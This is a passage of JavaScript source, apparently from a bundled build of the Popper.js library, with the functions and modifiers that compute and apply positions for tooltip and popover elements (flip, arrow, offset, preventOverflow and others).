measurement = isHoriz ? 'height' : 'width';\n  var secondaryMeasurement = !isHoriz ? 'height' : 'width';\n\n  popperOffsets[mainSide] = referenceOffsets[mainSide] + referenceOffsets[measurement] / 2 - popperRect[measurement] / 2;\n  if (placement === secondarySide) {\n    popperOffsets[secondarySide] = referenceOffsets[secondarySide] - popperRect[secondaryMeasurement];\n  } else {\n    popperOffsets[secondarySide] = referenceOffsets[getOppositePlacement(secondarySide)];\n  }\n\n  return popperOffsets;\n}\n\n/**\n * Mimics the `find` method of Array\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nfunction find(arr, check) {\n  // use native find if supported\n  if (Array.prototype.find) {\n    return arr.find(check);\n  }\n\n  // use `filter` to obtain the same behavior of `find`\n  return arr.filter(check)[0];\n}\n\n/**\n * Return the index of the matching object\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nfunction findIndex(arr, prop, value) {\n  // use native findIndex if supported\n  if (Array.prototype.findIndex) {\n    return arr.findIndex(function (cur) {\n      return cur[prop] === value;\n    });\n  }\n\n  // use `find` + `indexOf` if `findIndex` isn't supported\n  var match = find(arr, function (obj) {\n    return obj[prop] === value;\n  });\n  return arr.indexOf(match);\n}\n\n/**\n * Loop trough the list of modifiers and run them in order,\n * each of them will then edit the data object.\n * @method\n * @memberof Popper.Utils\n * @param {dataObject} data\n * @param {Array} modifiers\n * @param {String} ends - Optional modifier name used as stopper\n * @returns {dataObject}\n */\nfunction runModifiers(modifiers, data, ends) {\n  var modifiersToRun = ends === undefined ? modifiers : modifiers.slice(0, findIndex(modifiers, 'name', ends));\n\n  modifiersToRun.forEach(function (modifier) {\n    if (modifier.function) {\n      console.warn('`modifier.function` is deprecated, use `modifier.fn`!');\n    }\n    var fn = modifier.function || modifier.fn;\n    if (modifier.enabled && isFunction(fn)) {\n      // Add properties to offsets to make them a complete clientRect object\n      // we do this before each modifier to make sure the previous one doesn't\n      // mess with these values\n      data.offsets.popper = getClientRect(data.offsets.popper);\n      data.offsets.reference = getClientRect(data.offsets.reference);\n\n      data = fn(data, modifier);\n    }\n  });\n\n  return data;\n}\n\n/**\n * Updates the position of the popper, computing the new offsets and applying\n * the new style.<br />\n * Prefer `scheduleUpdate` over `update` because of performance reasons.\n * @method\n * @memberof Popper\n */\nfunction update() {\n  // if popper is destroyed, don't perform any further update\n  if (this.state.isDestroyed) {\n    return;\n  }\n\n  var data = {\n    instance: this,\n    styles: {},\n    arrowStyles: {},\n    attributes: {},\n    flipped: false,\n    offsets: {}\n  };\n\n  // compute reference element offsets\n  data.offsets.reference = getReferenceOffsets(this.state, this.popper, this.reference);\n\n  // compute auto placement, store placement inside the data object,\n  // modifiers will be able to edit `placement` if needed\n  // and refer to originalPlacement to know the original value\n  data.placement = computeAutoPlacement(this.options.placement, data.offsets.reference, this.popper, this.reference, this.options.modifiers.flip.boundariesElement, this.options.modifiers.flip.padding);\n\n  // store the computed placement inside `originalPlacement`\n  data.originalPlacement = data.placement;\n\n  // compute the popper offsets\n  data.offsets.popper = getPopperOffsets(this.popper, data.offsets.reference, data.placement);\n  data.offsets.popper.position = 'absolute';\n\n  // run the modifiers\n  data = runModifiers(this.modifiers, data);\n\n  // the first `update` will call `onCreate` callback\n  // the other ones will call `onUpdate` callback\n  if (!this.state.isCreated) {\n    this.state.isCreated = true;\n    this.options.onCreate(data);\n  } else {\n    this.options.onUpdate(data);\n  }\n}\n\n/**\n * Helper used to know if the given modifier is enabled.\n * @method\n * @memberof Popper.Utils\n * @returns {Boolean}\n */\nfunction isModifierEnabled(modifiers, modifierName) {\n  return modifiers.some(function (_ref) {\n    var name = _ref.name,\n        enabled = _ref.enabled;\n    return enabled && name === modifierName;\n  });\n}\n\n/**\n * Get the prefixed supported property name\n * @method\n * @memberof Popper.Utils\n * @argument {String} property (camelCase)\n * @returns {String} prefixed property (camelCase or PascalCase, depending on the vendor prefix)\n */\nfunction getSupportedPropertyName(property) {\n  var prefixes = [false, 'ms', 'Webkit', 'Moz', 'O'];\n  var upperProp = property.charAt(0).toUpperCase() + property.slice(1);\n\n  for (var i = 0; i < prefixes.length - 1; i++) {\n    var prefix = prefixes[i];\n    var toCheck = prefix ? '' + prefix + upperProp : property;\n    if (typeof window.document.body.style[toCheck] !== 'undefined') {\n      return toCheck;\n    }\n  }\n  return null;\n}\n\n/**\n * Destroy the popper\n * @method\n * @memberof Popper\n */\nfunction destroy() {\n  this.state.isDestroyed = true;\n\n  // touch DOM only if `applyStyle` modifier is enabled\n  if (isModifierEnabled(this.modifiers, 'applyStyle')) {\n    this.popper.removeAttribute('x-placement');\n    this.popper.style.left = '';\n    this.popper.style.position = '';\n    this.popper.style.top = '';\n    this.popper.style[getSupportedPropertyName('transform')] = '';\n  }\n\n  this.disableEventListeners();\n\n  // remove the popper if user explicity asked for the deletion on destroy\n  // do not use `remove` because IE11 doesn't support it\n  if (this.options.removeOnDestroy) {\n    this.popper.parentNode.removeChild(this.popper);\n  }\n  return this;\n}\n\nfunction attachToScrollParents(scrollParent, event, callback, scrollParents) {\n  var isBody = scrollParent.nodeName === 'BODY';\n  var target = isBody ? window : scrollParent;\n  target.addEventListener(event, callback, { passive: true });\n\n  if (!isBody) {\n    attachToScrollParents(getScrollParent(target.parentNode), event, callback, scrollParents);\n  }\n  scrollParents.push(target);\n}\n\n/**\n * Setup needed event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nfunction setupEventListeners(reference, options, state, updateBound) {\n  // Resize event listener on window\n  state.updateBound = updateBound;\n  window.addEventListener('resize', state.updateBound, { passive: true });\n\n  // Scroll event listener on scroll parents\n  var scrollElement = getScrollParent(reference);\n  attachToScrollParents(scrollElement, 'scroll', state.updateBound, state.scrollParents);\n  state.scrollElement = scrollElement;\n  state.eventsEnabled = true;\n\n  return state;\n}\n\n/**\n * It will add resize/scroll events and start recalculating\n * position of the popper element when they are triggered.\n * @method\n * @memberof Popper\n */\nfunction enableEventListeners() {\n  if (!this.state.eventsEnabled) {\n    this.state = setupEventListeners(this.reference, this.options, this.state, this.scheduleUpdate);\n  }\n}\n\n/**\n * Remove event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nfunction removeEventListeners(reference, state) {\n  // Remove resize event listener on window\n  window.removeEventListener('resize', state.updateBound);\n\n  // Remove scroll event listener on scroll parents\n  state.scrollParents.forEach(function (target) {\n    target.removeEventListener('scroll', state.updateBound);\n  });\n\n  // Reset state\n  state.updateBound = null;\n  state.scrollParents = [];\n  state.scrollElement = null;\n  state.eventsEnabled = false;\n  return state;\n}\n\n/**\n * It will remove resize/scroll events and won't recalculate popper position\n * when they are triggered. It also won't trigger onUpdate callback anymore,\n * unless you call `update` method manually.\n * @method\n * @memberof Popper\n */\nfunction disableEventListeners() {\n  if (this.state.eventsEnabled) {\n    window.cancelAnimationFrame(this.scheduleUpdate);\n    this.state = removeEventListeners(this.reference, this.state);\n  }\n}\n\n/**\n * Tells if a given input is a number\n * @method\n * @memberof Popper.Utils\n * @param {*} input to check\n * @return {Boolean}\n */\nfunction isNumeric(n) {\n  return n !== '' && !isNaN(parseFloat(n)) && isFinite(n);\n}\n\n/**\n * Set the style to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the style to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nfunction setStyles(element, styles) {\n  Object.keys(styles).forEach(function (prop) {\n    var unit = '';\n    // add unit if the value is numeric and is one of the following\n    if (['width', 'height', 'top', 'right', 'bottom', 'left'].indexOf(prop) !== -1 && isNumeric(styles[prop])) {\n      unit = 'px';\n    }\n    element.style[prop] = styles[prop] + unit;\n  });\n}\n\n/**\n * Set the attributes to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the attributes to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nfunction setAttributes(element, attributes) {\n  Object.keys(attributes).forEach(function (prop) {\n    var value = attributes[prop];\n    if (value !== false) {\n      element.setAttribute(prop, attributes[prop]);\n    } else {\n      element.removeAttribute(prop);\n    }\n  });\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} data.styles - List of style properties - values to apply to popper element\n * @argument {Object} data.attributes - List of attribute properties - values to apply to popper element\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The same data object\n */\nfunction applyStyle(data) {\n  // any property present in `data.styles` will be applied to the popper,\n  // in this way we can make the 3rd party modifiers add custom styles to it\n  // Be aware, modifiers could override the properties defined in the previous\n  // lines of this modifier!\n  setStyles(data.instance.popper, data.styles);\n\n  // any property present in `data.attributes` will be applied to the popper,\n  // they will be set as HTML attributes of the element\n  setAttributes(data.instance.popper, data.attributes);\n\n  // if arrowElement is defined and arrowStyles has some properties\n  if (data.arrowElement && Object.keys(data.arrowStyles).length) {\n    setStyles(data.arrowElement, data.arrowStyles);\n  }\n\n  return data;\n}\n\n/**\n * Set the x-placement attribute before everything else because it could be used\n * to add margins to the popper margins needs to be calculated to get the\n * correct popper offsets.\n * @method\n * @memberof Popper.modifiers\n * @param {HTMLElement} reference - The reference element used to position the popper\n * @param {HTMLElement} popper - The HTML element used as popper.\n * @param {Object} options - Popper.js options\n */\nfunction applyStyleOnLoad(reference, popper, options, modifierOptions, state) {\n  // compute reference element offsets\n  var referenceOffsets = getReferenceOffsets(state, popper, reference);\n\n  // compute auto placement, store placement inside the data object,\n  // modifiers will be able to edit `placement` if needed\n  // and refer to originalPlacement to know the original value\n  var placement = computeAutoPlacement(options.placement, referenceOffsets, popper, reference, options.modifiers.flip.boundariesElement, options.modifiers.flip.padding);\n\n  popper.setAttribute('x-placement', placement);\n\n  // Apply `position` to popper before anything else because\n  // without the position applied we can't guarantee correct computations\n  setStyles(popper, { position: 'absolute' });\n\n  return options;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction computeStyle(data, options) {\n  var x = options.x,\n      y = options.y;\n  var popper = data.offsets.popper;\n\n  // Remove this legacy support in Popper.js v2\n\n  var legacyGpuAccelerationOption = find(data.instance.modifiers, function (modifier) {\n    return modifier.name === 'applyStyle';\n  }).gpuAcceleration;\n  if (legacyGpuAccelerationOption !== undefined) {\n    console.warn('WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!');\n  }\n  var gpuAcceleration = legacyGpuAccelerationOption !== undefined ? legacyGpuAccelerationOption : options.gpuAcceleration;\n\n  var offsetParent = getOffsetParent(data.instance.popper);\n  var offsetParentRect = getBoundingClientRect(offsetParent);\n\n  // Styles\n  var styles = {\n    position: popper.position\n  };\n\n  // floor sides to avoid blurry text\n  var offsets = {\n    left: Math.floor(popper.left),\n    top: Math.floor(popper.top),\n    bottom: Math.floor(popper.bottom),\n    right: Math.floor(popper.right)\n  };\n\n  var sideA = x === 'bottom' ? 'top' : 'bottom';\n  var sideB = y === 'right' ? 'left' : 'right';\n\n  // if gpuAcceleration is set to `true` and transform is supported,\n  //  we use `translate3d` to apply the position to the popper we\n  // automatically use the supported prefixed version if needed\n  var prefixedProperty = getSupportedPropertyName('transform');\n\n  // now, let's make a step back and look at this code closely (wtf?)\n  // If the content of the popper grows once it's been positioned, it\n  // may happen that the popper gets misplaced because of the new content\n  // overflowing its reference element\n  // To avoid this problem, we provide two options (x and y), which allow\n  // the consumer to define the offset origin.\n  // If we position a popper on top of a reference element, we can set\n  // `x` to `top` to make the popper grow towards its top instead of\n  // its bottom.\n  var left = void 0,\n      top = void 0;\n  if (sideA === 'bottom') {\n    top = -offsetParentRect.height + offsets.bottom;\n  } else {\n    top = offsets.top;\n  }\n  if (sideB === 'right') {\n    left = -offsetParentRect.width + offsets.right;\n  } else {\n    left = offsets.left;\n  }\n  if (gpuAcceleration && prefixedProperty) {\n    styles[prefixedProperty] = 'translate3d(' + left + 'px, ' + top + 'px, 0)';\n    styles[sideA] = 0;\n    styles[sideB] = 0;\n    styles.willChange = 'transform';\n  } else {\n    // othwerise, we use the standard `top`, `left`, `bottom` and `right` properties\n    var invertTop = sideA === 'bottom' ? -1 : 1;\n    var invertLeft = sideB === 'right' ? -1 : 1;\n    styles[sideA] = top * invertTop;\n    styles[sideB] = left * invertLeft;\n    styles.willChange = sideA + ', ' + sideB;\n  }\n\n  // Attributes\n  var attributes = {\n    'x-placement': data.placement\n  };\n\n  // Update `data` attributes, styles and arrowStyles\n  data.attributes = _extends({}, attributes, data.attributes);\n  data.styles = _extends({}, styles, data.styles);\n  data.arrowStyles = _extends({}, data.offsets.arrow, data.arrowStyles);\n\n  return data;\n}\n\n/**\n * Helper used to know if the given modifier depends from another one.<br />\n * It checks if the needed modifier is listed and enabled.\n * @method\n * @memberof Popper.Utils\n * @param {Array} modifiers - list of modifiers\n * @param {String} requestingName - name of requesting modifier\n * @param {String} requestedName - name of requested modifier\n * @returns {Boolean}\n */\nfunction isModifierRequired(modifiers, requestingName, requestedName) {\n  var requesting = find(modifiers, function (_ref) {\n    var name = _ref.name;\n    return name === requestingName;\n  });\n\n  var isRequired = !!requesting && modifiers.some(function (modifier) {\n    return modifier.name === requestedName && modifier.enabled && modifier.order < requesting.order;\n  });\n\n  if (!isRequired) {\n    var _requesting = '`' + requestingName + '`';\n    var requested = '`' + requestedName + '`';\n    console.warn(requested + ' modifier is required by ' + _requesting + ' modifier in order to work, be sure to include it before ' + _requesting + '!');\n  }\n  return isRequired;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction arrow(data, options) {\n  // arrow depends on keepTogether in order to work\n  if (!isModifierRequired(data.instance.modifiers, 'arrow', 'keepTogether')) {\n    return data;\n  }\n\n  var arrowElement = options.element;\n\n  // if arrowElement is a string, suppose it's a CSS selector\n  if (typeof arrowElement === 'string') {\n    arrowElement = data.instance.popper.querySelector(arrowElement);\n\n    // if arrowElement is not found, don't run the modifier\n    if (!arrowElement) {\n      return data;\n    }\n  } else {\n    // if the arrowElement isn't a query selector we must check that the\n    // provided DOM node is child of its popper node\n    if (!data.instance.popper.contains(arrowElement)) {\n      console.warn('WARNING: `arrow.element` must be child of its popper element!');\n      return data;\n    }\n  }\n\n  var placement = data.placement.split('-')[0];\n  var _data$offsets = data.offsets,\n      popper = _data$offsets.popper,\n      reference = _data$offsets.reference;\n\n  var isVertical = ['left', 'right'].indexOf(placement) !== -1;\n\n  var len = isVertical ? 'height' : 'width';\n  var sideCapitalized = isVertical ? 'Top' : 'Left';\n  var side = sideCapitalized.toLowerCase();\n  var altSide = isVertical ? 'left' : 'top';\n  var opSide = isVertical ? 'bottom' : 'right';\n  var arrowElementSize = getOuterSizes(arrowElement)[len];\n\n  //\n  // extends keepTogether behavior making sure the popper and its\n  // reference have enough pixels in conjuction\n  //\n\n  // top/left side\n  if (reference[opSide] - arrowElementSize < popper[side]) {\n    data.offsets.popper[side] -= popper[side] - (reference[opSide] - arrowElementSize);\n  }\n  // bottom/right side\n  if (reference[side] + arrowElementSize > popper[opSide]) {\n    data.offsets.popper[side] += reference[side] + arrowElementSize - popper[opSide];\n  }\n\n  // compute center of the popper\n  var center = reference[side] + reference[len] / 2 - arrowElementSize / 2;\n\n  // Compute the sideValue using the updated popper offsets\n  // take popper margin in account because we don't have this info available\n  var popperMarginSide = getStyleComputedProperty(data.instance.popper, 'margin' + sideCapitalized).replace('px', '');\n  var sideValue = center - getClientRect(data.offsets.popper)[side] - popperMarginSide;\n\n  // prevent arrowElement from being placed not contiguously to its popper\n  sideValue = Math.max(Math.min(popper[len] - arrowElementSize, sideValue), 0);\n\n  data.arrowElement = arrowElement;\n  data.offsets.arrow = {};\n  data.offsets.arrow[side] = Math.round(sideValue);\n  data.offsets.arrow[altSide] = ''; // make sure to unset any eventual altSide value from the DOM node\n\n  return data;\n}\n\n/**\n * Get the opposite placement variation of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement variation\n * @returns {String} flipped placement variation\n */\nfunction getOppositeVariation(variation) {\n  if (variation === 'end') {\n    return 'start';\n  } else if (variation === 'start') {\n    return 'end';\n  }\n  return variation;\n}\n\n/**\n * List of accepted placements to use as values of the `placement` option.<br />\n * Valid placements are:\n * - `auto`\n * - `top`\n * - `right`\n * - `bottom`\n * - `left`\n *\n * Each placement can have a variation from this list:\n * - `-start`\n * - `-end`\n *\n * Variations are interpreted easily if you think of them as the left to right\n * written languages. Horizontally (`top` and `bottom`), `start` is left and `end`\n * is right.<br />\n * Vertically (`left` and `right`), `start` is top and `end` is bottom.\n *\n * Some valid examples are:\n * - `top-end` (on top of reference, right aligned)\n * - `right-start` (on right of reference, top aligned)\n * - `bottom` (on bottom, centered)\n * - `auto-right` (on the side with more space available, alignment depends by placement)\n *\n * @static\n * @type {Array}\n * @enum {String}\n * @readonly\n * @method placements\n * @memberof Popper\n */\nvar placements = ['auto-start', 'auto', 'auto-end', 'top-start', 'top', 'top-end', 'right-start', 'right', 'right-end', 'bottom-end', 'bottom', 'bottom-start', 'left-end', 'left', 'left-start'];\n\n// Get rid of `auto` `auto-start` and `auto-end`\nvar validPlacements = placements.slice(3);\n\n/**\n * Given an initial placement, returns all the subsequent placements\n * clockwise (or counter-clockwise).\n *\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement - A valid placement (it accepts variations)\n * @argument {Boolean} counter - Set to true to walk the placements counterclockwise\n * @returns {Array} placements including their variations\n */\nfunction clockwise(placement) {\n  var counter = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;\n\n  var index = validPlacements.indexOf(placement);\n  var arr = validPlacements.slice(index + 1).concat(validPlacements.slice(0, index));\n  return counter ? arr.reverse() : arr;\n}\n\nvar BEHAVIORS = {\n  FLIP: 'flip',\n  CLOCKWISE: 'clockwise',\n  COUNTERCLOCKWISE: 'counterclockwise'\n};\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction flip(data, options) {\n  // if `inner` modifier is enabled, we can't use the `flip` modifier\n  if (isModifierEnabled(data.instance.modifiers, 'inner')) {\n    return data;\n  }\n\n  if (data.flipped && data.placement === data.originalPlacement) {\n    // seems like flip is trying to loop, probably there's not enough space on any of the flippable sides\n    return data;\n  }\n\n  var boundaries = getBoundaries(data.instance.popper, data.instance.reference, options.padding, options.boundariesElement);\n\n  var placement = data.placement.split('-')[0];\n  var placementOpposite = getOppositePlacement(placement);\n  var variation = data.placement.split('-')[1] || '';\n\n  var flipOrder = [];\n\n  switch (options.behavior) {\n    case BEHAVIORS.FLIP:\n      flipOrder = [placement, placementOpposite];\n      break;\n    case BEHAVIORS.CLOCKWISE:\n      flipOrder = clockwise(placement);\n      break;\n    case BEHAVIORS.COUNTERCLOCKWISE:\n      flipOrder = clockwise(placement, true);\n      break;\n    default:\n      flipOrder = options.behavior;\n  }\n\n  flipOrder.forEach(function (step, index) {\n    if (placement !== step || flipOrder.length === index + 1) {\n      return data;\n    }\n\n    placement = data.placement.split('-')[0];\n    placementOpposite = getOppositePlacement(placement);\n\n    var popperOffsets = data.offsets.popper;\n    var refOffsets = data.offsets.reference;\n\n    // using floor because the reference offsets may contain decimals we are not going to consider here\n    var floor = Math.floor;\n    var overlapsRef = placement === 'left' && floor(popperOffsets.right) > floor(refOffsets.left) || placement === 'right' && floor(popperOffsets.left) < floor(refOffsets.right) || placement === 'top' && floor(popperOffsets.bottom) > floor(refOffsets.top) || placement === 'bottom' && floor(popperOffsets.top) < floor(refOffsets.bottom);\n\n    var overflowsLeft = floor(popperOffsets.left) < floor(boundaries.left);\n    var overflowsRight = floor(popperOffsets.right) > floor(boundaries.right);\n    var overflowsTop = floor(popperOffsets.top) < floor(boundaries.top);\n    var overflowsBottom = floor(popperOffsets.bottom) > floor(boundaries.bottom);\n\n    var overflowsBoundaries = placement === 'left' && overflowsLeft || placement === 'right' && overflowsRight || placement === 'top' && overflowsTop || placement === 'bottom' && overflowsBottom;\n\n    // flip the variation if required\n    var isVertical = ['top', 'bottom'].indexOf(placement) !== -1;\n    var flippedVariation = !!options.flipVariations && (isVertical && variation === 'start' && overflowsLeft || isVertical && variation === 'end' && overflowsRight || !isVertical && variation === 'start' && overflowsTop || !isVertical && variation === 'end' && overflowsBottom);\n\n    if (overlapsRef || overflowsBoundaries || flippedVariation) {\n      // this boolean to detect any flip loop\n      data.flipped = true;\n\n      if (overlapsRef || overflowsBoundaries) {\n        placement = flipOrder[index + 1];\n      }\n\n      if (flippedVariation) {\n        variation = getOppositeVariation(variation);\n      }\n\n      data.placement = placement + (variation ? '-' + variation : '');\n\n      // this object contains `position`, we want to preserve it along with\n      // any additional property we may add in the future\n      data.offsets.popper = _extends({}, data.offsets.popper, getPopperOffsets(data.instance.popper, data.offsets.reference, data.placement));\n\n      data = runModifiers(data.instance.modifiers, data, 'flip');\n    }\n  });\n  return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction keepTogether(data) {\n  var _data$offsets = data.offsets,\n      popper = _data$offsets.popper,\n      reference = _data$offsets.reference;\n\n  var placement = data.placement.split('-')[0];\n  var floor = Math.floor;\n  var isVertical = ['top', 'bottom'].indexOf(placement) !== -1;\n  var side = isVertical ? 'right' : 'bottom';\n  var opSide = isVertical ? 'left' : 'top';\n  var measurement = isVertical ? 'width' : 'height';\n\n  if (popper[side] < floor(reference[opSide])) {\n    data.offsets.popper[opSide] = floor(reference[opSide]) - popper[measurement];\n  }\n  if (popper[opSide] > floor(reference[side])) {\n    data.offsets.popper[opSide] = floor(reference[side]);\n  }\n\n  return data;\n}\n\n/**\n * Converts a string containing value + unit into a px value number\n * @function\n * @memberof {modifiers~offset}\n * @private\n * @argument {String} str - Value + unit string\n * @argument {String} measurement - `height` or `width`\n * @argument {Object} popperOffsets\n * @argument {Object} referenceOffsets\n * @returns {Number|String}\n * Value in pixels, or original string if no values were extracted\n */\nfunction toValue(str, measurement, popperOffsets, referenceOffsets) {\n  // separate value from unit\n  var split = str.match(/((?:\\-|\\+)?\\d*\\.?\\d*)(.*)/);\n  var value = +split[1];\n  var unit = split[2];\n\n  // If it's not a number it's an operator, I guess\n  if (!value) {\n    return str;\n  }\n\n  if (unit.indexOf('%') === 0) {\n    var element = void 0;\n    switch (unit) {\n      case '%p':\n        element = popperOffsets;\n        break;\n      case '%':\n      case '%r':\n      default:\n        element = referenceOffsets;\n    }\n\n    var rect = getClientRect(element);\n    return rect[measurement] / 100 * value;\n  } else if (unit === 'vh' || unit === 'vw') {\n    // if is a vh or vw, we calculate the size based on the viewport\n    var size = void 0;\n    if (unit === 'vh') {\n      size = Math.max(document.documentElement.clientHeight, window.innerHeight || 0);\n    } else {\n      size = Math.max(document.documentElement.clientWidth, window.innerWidth || 0);\n    }\n    return size / 100 * value;\n  } else {\n    // if is an explicit pixel unit, we get rid of the unit and keep the value\n    // if is an implicit unit, it's px, and we return just the value\n    return value;\n  }\n}\n\n/**\n * Parse an `offset` string to extrapolate `x` and `y` numeric offsets.\n * @function\n * @memberof {modifiers~offset}\n * @private\n * @argument {String} offset\n * @argument {Object} popperOffsets\n * @argument {Object} referenceOffsets\n * @argument {String} basePlacement\n * @returns {Array} a two cells array with x and y offsets in numbers\n */\nfunction parseOffset(offset, popperOffsets, referenceOffsets, basePlacement) {\n  var offsets = [0, 0];\n\n  // Use height if placement is left or right and index is 0 otherwise use width\n  // in this way the first offset will use an axis and the second one\n  // will use the other one\n  var useHeight = ['right', 'left'].indexOf(basePlacement) !== -1;\n\n  // Split the offset string to obtain a list of values and operands\n  // The regex addresses values with the plus or minus sign in front (+10, -20, etc)\n  var fragments = offset.split(/(\\+|\\-)/).map(function (frag) {\n    return frag.trim();\n  });\n\n  // Detect if the offset string contains a pair of values or a single one\n  // they could be separated by comma or space\n  var divider = fragments.indexOf(find(fragments, function (frag) {\n    return frag.search(/,|\\s/) !== -1;\n  }));\n\n  if (fragments[divider] && fragments[divider].indexOf(',') === -1) {\n    console.warn('Offsets separated by white space(s) are deprecated, use a comma (,) instead.');\n  }\n\n  // If divider is found, we divide the list of values and operands to divide\n  // them by ofset X and Y.\n  var splitRegex = /\\s*,\\s*|\\s+/;\n  var ops = divider !== -1 ? [fragments.slice(0, divider).concat([fragments[divider].split(splitRegex)[0]]), [fragments[divider].split(splitRegex)[1]].concat(fragments.slice(divider + 1))] : [fragments];\n\n  // Convert the values with units to absolute pixels to allow our computations\n  ops = ops.map(function (op, index) {\n    // Most of the units rely on the orientation of the popper\n    var measurement = (index === 1 ? !useHeight : useHeight) ? 'height' : 'width';\n    var mergeWithPrevious = false;\n    return op\n    // This aggregates any `+` or `-` sign that aren't considered operators\n    // e.g.: 10 + +5 => [10, +, +5]\n    .reduce(function (a, b) {\n      if (a[a.length - 1] === '' && ['+', '-'].indexOf(b) !== -1) {\n        a[a.length - 1] = b;\n        mergeWithPrevious = true;\n        return a;\n      } else if (mergeWithPrevious) {\n        a[a.length - 1] += b;\n        mergeWithPrevious = false;\n        return a;\n      } else {\n        return a.concat(b);\n      }\n    }, [])\n    // Here we convert the string values into number values (in px)\n    .map(function (str) {\n      return toValue(str, measurement, popperOffsets, referenceOffsets);\n    });\n  });\n\n  // Loop trough the offsets arrays and execute the operations\n  ops.forEach(function (op, index) {\n    op.forEach(function (frag, index2) {\n      if (isNumeric(frag)) {\n        offsets[index] += frag * (op[index2 - 1] === '-' ? -1 : 1);\n      }\n    });\n  });\n  return offsets;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @argument {Number|String} options.offset=0\n * The offset value as described in the modifier description\n * @returns {Object} The data object, properly modified\n */\nfunction offset(data, _ref) {\n  var offset = _ref.offset;\n  var placement = data.placement,\n      _data$offsets = data.offsets,\n      popper = _data$offsets.popper,\n      reference = _data$offsets.reference;\n\n  var basePlacement = placement.split('-')[0];\n\n  var offsets = void 0;\n  if (isNumeric(+offset)) {\n    offsets = [+offset, 0];\n  } else {\n    offsets = parseOffset(offset, popper, reference, basePlacement);\n  }\n\n  if (basePlacement === 'left') {\n    popper.top += offsets[0];\n    popper.left -= offsets[1];\n  } else if (basePlacement === 'right') {\n    popper.top += offsets[0];\n    popper.left += offsets[1];\n  } else if (basePlacement === 'top') {\n    popper.left += offsets[0];\n    popper.top -= offsets[1];\n  } else if (basePlacement === 'bottom') {\n    popper.left += offsets[0];\n    popper.top += offsets[1];\n  }\n\n  data.popper = popper;\n  return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction preventOverflow(data, options) {\n  var boundariesElement = options.boundariesElement || getOffsetParent(data.instance.popper);\n\n  // If offsetParent is the reference element, we really want to\n  // go one step up and use the next offsetParent as reference to\n  // avoid to make this modifier completely useless and look like broken\n  if (data.instance.reference === boundariesElement) {\n    boundariesElement = getOffsetParent(boundariesElement);\n  }\n\n  var boundaries = getBoundaries(data.instance.popper, data.instance.reference, options.padding, boundariesElement);\n  options.boundaries = boundaries;\n\n  var order = options.priority;\n  var popper = data.offsets.popper;\n\n  var check = {\n    primary: function primary(placement) {\n      var value = popper[placement];\n      if (popper[placement] < boundaries[placement] && !options.escapeWithReference) {\n        value = Math.max(popper[placement], boundaries[placement]);\n      }\n      return defineProperty({}, placement, value);\n    },\n    secondary: function secondary(placement) {\n      var mainSide = placement === 'right' ? 'left' : 'top';\n      var value = popper[mainSide];\n      if (popper[placement] > boundaries[placement] && !options.escapeWithReference) {\n        value = Math.min(popper[mainSide], boundaries[placement] - (placement === 'right' ? popper.width : popper.height));\n      }\n      return defineProperty({}, mainSide, value);\n    }\n  };\n\n  order.forEach(function (placement) {\n    var side = ['left', 'top'].indexOf(placement) !== -1 ? 'primary' : 'secondary';\n    popper = _extends({}, popper, check[side](placement));\n  });\n\n  data.offsets.popper = popper;\n\n  return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction shift(data) {\n  var placement = data.placement;\n  var basePlacement = placement.split('-')[0];\n  var shiftvariation = placement.split('-')[1];\n\n  // if shift shiftvariation is specified, run the modifier\n  if (shiftvariation) {\n    var _data$offsets = data.offsets,\n        reference = _data$offsets.reference,\n        popper = _data$offsets.popper;\n\n    var isVertical = ['bottom', 'top'].indexOf(basePlacement) !== -1;\n    var side = isVertical ? 'left' : 'top';\n    var measurement = isVertical ? 'width' : 'height';\n\n    var shiftOffsets = {\n      start: defineProperty({}, side, reference[side]),\n      end: defineProperty({}, side, reference[side] + reference[measurement] - popper[measurement])\n    };\n\n    data.offsets.popper = _extends({}, popper, shiftOffsets[shiftvariation]);\n  }\n\n  return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction hide(data) {\n  if (!isModifierRequired(data.instance.modifiers, 'hide', 'preventOverflow')) {\n    return data;\n  }\n\n  var refRect = data.offsets.reference;\n  var bound = find(data.instance.modifiers, function (modifier) {\n    return modifier.name === 